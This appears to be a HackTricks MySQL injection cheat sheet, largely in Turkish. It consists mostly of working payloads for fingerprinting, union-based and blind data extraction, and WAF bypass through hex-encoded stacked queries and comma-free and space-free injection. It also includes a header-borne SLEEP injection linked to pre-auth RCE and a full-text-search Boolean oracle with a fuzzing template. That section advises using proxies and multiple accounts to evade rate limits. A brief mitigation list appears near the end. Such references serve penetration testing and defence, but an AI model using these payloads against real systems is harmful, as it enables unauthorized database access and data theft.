MySQL injection
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Yorumlar
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
İlginç Fonksiyonlar
Mysql'i Doğrula:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Faydalı fonksiyonlar
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Tüm injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Akış
Unutmayın ki "modern" MySQL sürümlerinde "information_schema.tables" "mysql.innodb_table_stats" yerine kullanılabilir. (Bu, WAFs'i atlatmak için faydalı olabilir.)
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Only 1 value
group_concat()
Limit X,1
Blind one by one
substr(version(),X,1)='r'
orsubstring(version(),X,1)=0x70
orascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
Detect number of columns
Basit bir ORDER kullanarak
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Burada farklı seçenekleri öğrenin Mysql injection'ı kötüye kullanarak SSRF elde etme.
WAF bypass tricks
Prepared Statements yoluyla sorgu çalıştırma
Stacked queries izinliyse, çalıştırmak istediğiniz sorgunun hex temsilini bir değişkene atayarak (SET kullanarak) WAF'ları atlamak mümkün olabilir; ardından PREPARE ve EXECUTE MySQL ifadelerini kullanarak sorguyu nihai olarak çalıştırabilirsiniz. Şöyle bir şey:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Daha fazla bilgi için lütfen this blog post adresine bakın.
Information_schema alternatifleri
Unutmayın ki "modern" sürümlerde MySQL'de information_schema.tables yerine mysql.innodb_table_stats veya sys.x$schema_flattened_keys ya da sys.schema_table_statistics kullanılabilir
MySQLinjection olmadan COMMAS
Herhangi bir virgül kullanmadan 2 sütun seçme (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Sütun adı olmadan değerleri alma
Eğer bir noktada tablo adını biliyorsanız ancak tablodaki sütunların adlarını bilmiyorsanız, orada kaç sütun olduğunu bulmak için şöyle bir şey çalıştırmayı deneyebilirsiniz:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
İlk sütunun ID ve diğerinin flag olduğunu varsayarsak, flag içeriğini karakter karakter bruteforce etmeyi deneyebilirsiniz:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Daha fazla bilgi için https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/
comment trick)
Bazı uygulamalar kullanıcı girdisini sscanf("%128s", buf)
gibi fonksiyonlarla temizler veya ayrıştırır; bu fonksiyonlar ilk space karakterinde durur.
MySQL /**/
dizisini hem yorum hem de whitespace olarak değerlendirdiği için, sorgunun sözdizimsel olarak geçerli kalmasını sağlayıp payload'taki normal space'leri tamamen kaldırmak için kullanılabilir.
space filter'ını aşan time-based blind injection örneği:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Veritabanının aldığı biçim:
' OR SLEEP(5)-- -'
Bu özellikle kullanışlıdır:
- Kontrol edilebilir buffer boyutu sınırlı olduğunda (örn.
%128s
) ve boşluklar girdiyi erken sonlandıracaksa. - HTTP header'ları veya normal boşlukların temizlendiği ya da ayırıcı olarak kullanıldığı diğer alanlar üzerinden Injecting yaparken.
INTO OUTFILE
primitifleri ile birleştirildiğinde tam pre-auth RCE elde etmek için kullanılabilir (bkz. MySQL File RCE bölümü).
MySQL geçmişi
MySQL içinde tabloyu okuyarak diğer yürütmeleri görebilirsiniz: sys.x$statement_analysis
Sürüm alternatifleri
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Bu klasik bir SQL injection değil. Geliştiriciler kullanıcı girdisini MATCH(col) AGAINST('...' IN BOOLEAN MODE)
içine geçirince, MySQL tırnak içindeki ifadede zengin bir Boolean arama operatörleri kümesini çalıştırır. Birçok WAF/SAST kuralı yalnızca tırnak kırılmasına odaklanır ve bu yüzeyi gözardı eder.
Key points:
- Operatörler tırnakların içinde değerlendirilir:
+
(must include),-
(must not include),*
(trailing wildcard),"..."
(exact phrase),()
(grouping),<
/>
/~
(weights). Bkz. MySQL dokümantasyonu. - Bu, dize sabitinden çıkmadan varlık/yokluk ve önek testlerine izin verir; örn.
AGAINST('+admin*' IN BOOLEAN MODE)
ileadmin
ile başlayan herhangi bir terimin olup olmadığını kontrol etmek için. - Örneğin "herhangi bir satır X önekiyle bir terim içeriyor mu?" gibi oracle'lar oluşturmak ve önek genişlemesiyle gizli dizeleri listelemek için kullanışlıdır.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$)
, submitprefix*ZZ
. The cleaner trims theZZ
but leaves the*
, soprefix*
survives. - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example:
&&&&& +jack*ZZ
→ after cleaning:+&&&&& +jack*
.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26
&
'dir,%2B
+
'dır. Takip edenxD
(veya herhangi iki harf) temizleyici tarafından kırpılır,{FUZZ}*
korunur.- Bir redirect'i “match” olarak, bir hata sayfasını “no match” olarak değerlendirin. Oracle'ı gözlemlenebilir tutmak için redirect'leri otomatik takip etmeyin.
Numaralandırma iş akışı:
- İlk harf eşleşmelerini
+a*
,+b*
, … ile bulmak için{FUZZ} = a…z,0…9
ile başlayın. - Her pozitif önek için dallanın:
a* → aa* / ab* / …
. Tüm dizgiyi geri kazanmak için tekrar edin. - Uygulama flood control uyguluyorsa istekleri dağıtın (proxy'ler, birden fazla hesap).
Neden başlıklar sıklıkla leak olurken içerikler olmayabilir:
- Bazı uygulamalar görünürlük kontrollerini sadece başlıklar/konular üzerinde yapılan ön MATCH'ten sonra uygular. Kontrol akışı filtrelemeden önce “any results?” sonucuna bağlıysa, varlık leak'leri oluşur.
Önlemler:
- Boolean mantığına ihtiyacınız yoksa
IN NATURAL LANGUAGE MODE
kullanın veya kullanıcı girdisini literal olarak ele alın (escape/quote diğer modlardaki operatörleri devre dışı bırakır). - Eğer Boolean mode gerekliyse, tokenizasyon sonrası her token için tüm Boolean operatörlerini (
+ - * " ( ) < > ~
) temizleyin veya etkisizleştirin (erken kesme yok). - Görünürlük/authorization filtrelerini MATCH'ten önce uygulayın veya sonuç kümesi boş vs. dolu olduğunda yanıtları birleştirin (sabit zamanlama/durum).
- Diğer DBMS'lerde benzer özellikleri inceleyin: PostgreSQL
to_tsquery
/websearch_to_tsquery
, SQL Server/Oracle/Db2CONTAINS
de tırnak içindeki argümanlarda operatörleri ayrıştırır.
Notlar:
- Prepared statements,
REGEXP
veya arama operatörlerinin semantik suistimaline karşı koruma sağlamaz..*
gibi bir giriş, tırnak içindekiREGEXP '.*'
olsa dahi izin verici bir regex olarak kalır. Allow-lists veya açık korumalar kullanın.
Other MYSQL injection guides
Referanslar
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.